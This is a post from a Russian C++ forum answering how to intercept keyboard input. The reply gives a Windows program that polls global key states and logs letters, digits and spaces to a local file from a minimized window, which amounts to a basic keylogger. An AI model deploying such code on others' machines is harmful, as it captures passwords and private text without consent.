Форум программистов, компьютерный форум, киберфорум
Наши страницы

Как сделать правильный перехват ввода? - C++

Войти
Регистрация
Восстановить пароль
Другие темы раздела
C++ Как работает инкрементирование указателя? http://www.cyberforum.ru/cpp-beginners/thread1089601.html
#include <iostream> #include <cctype> using namespace std; int main(){ char *p; char str="This Is A Test"; cout << "исходная строка: "<<str<<endl; p=str; while(*p){ //как работает...
C++ Сокращение слов (например, "напряженность"- "напр-ть") нужно чтобы вместо, к примеру, слово "напряженность" заменялось на "напр-ть". Я понял, что для этого нужно создать два txt-файла, с которых в одном будет изначальное слово, а в друг сокращенное, но... http://www.cyberforum.ru/cpp-beginners/thread1089593.html
WDK7000 компиляция не завершается успешно C++
Доброго времени суток.Помогите с элементарной вещью) Установил windows driver kit 7000.Компилирую исходник драйвера через "windows xp>x86 checked build" , выдает warning в двух местах,но...
Объявить объединение из двух структур и структуру из двух объединений C++
Объявить объединение из двух структур и структуру из двух объединений. Заполнить значениями, вывести на экран.
C++ Отсортировать массив из структур по одному из полей структуры любым способом http://www.cyberforum.ru/cpp-beginners/thread1089578.html
Отсортировать массив из структур по одному из полей структуры любым способом.
C++ Проблема при чтении текстового файла программой Добрая ночь, ув. форумчане! Помогите пожалуйста решить проблему возникшую при чтении текстового файла программой. Вначале все было ок. Потом я что-то накрутил и капут, короче. Программа перестала... подробнее

Показать сообщение отдельно
programina
1914 / 599 / 37
Регистрация: 23.10.2011
Сообщений: 4,468
Записей в блоге: 2
10.02.2014, 01:36
Вот, например можно ловить клавиши со всего подряд:
C++
/*
    Компиляция с помощью MinGW:
    g++ program.cpp -O3 -Os -s -oprogram -mwindows
*/
 
 
#include <windows.h>
#include <stdio.h>
 
#define key(n); if(GetAsyncKeyState(n))fprintf(fo,"%c",n);
 
LRESULT CALLBACK WINPROC(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    switch(message)
    {
        case WM_CLOSE:
            PostQuitMessage(0);
            break;
 
        case WM_DESTROY:
            PostQuitMessage(0);
            break;
    }
    return DefWindowProc (hWnd, message, wParam, lParam);
}
 
int WINAPI WinMain(HINSTANCE hThisInstance, HINSTANCE hPrevInstance, LPSTR lpszArgument, int nCmdShow)
{
 
    HINSTANCE hinstance = GetModuleHandle(NULL);
    int scr_width           = GetSystemMetrics(SM_CXSCREEN);
    int scr_height          = GetSystemMetrics(SM_CYSCREEN);
 
    WNDCLASSEX wincl;
    wincl.hInstance     = hinstance;
    wincl.lpszClassName = "app";
    wincl.lpfnWndProc   = WINPROC;
    wincl.style         = CS_DBLCLKS;
    wincl.cbSize        = sizeof (WNDCLASSEX);
    wincl.hIcon         = LoadIcon (NULL, IDI_APPLICATION);
    wincl.hIconSm       = LoadIcon (NULL, IDI_APPLICATION);
    wincl.hCursor       = LoadCursor (NULL, IDC_ARROW);
    wincl.lpszMenuName  = NULL;
    wincl.cbClsExtra    = 0;
    wincl.cbWndExtra    = 0;
    wincl.hbrBackground = (HBRUSH)1;
    RegisterClassEx(&wincl);
 
    HWND hwnd = CreateWindow("app", " ", WS_OVERLAPPEDWINDOW, scr_width-200, scr_height-200, 195, 160, HWND_DESKTOP, NULL, hinstance, NULL);
    ShowWindow (hwnd, SW_MINIMIZE);
 
 
    FILE *fo = fopen("fo.txt", "wt");
 
    MSG msg;
    while(WM_QUIT != msg.message)
    {
        if(PeekMessage(&msg, NULL, 0, 0, PM_REMOVE))
        {
            TranslateMessage(&msg);
            DispatchMessage(&msg);
        }
        else
        {
            if(GetAsyncKeyState(VK_ESCAPE)) break;
 
            for(char i = 0x41; i <= 0x5A; i++)
                if(GetAsyncKeyState(i)) fprintf(fo, "%c", i);
 
            key(' ');
            key('1');
            key('2');
            key('3');
            key('4');
            key('5');
            key('6');
            key('7');
            key('8');
            key('9');
            key('0');
 
            Sleep(300);
        }
    }
 
    fclose(fo);
    return 0;
}
0
 
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2017, vBulletin Solutions, Inc.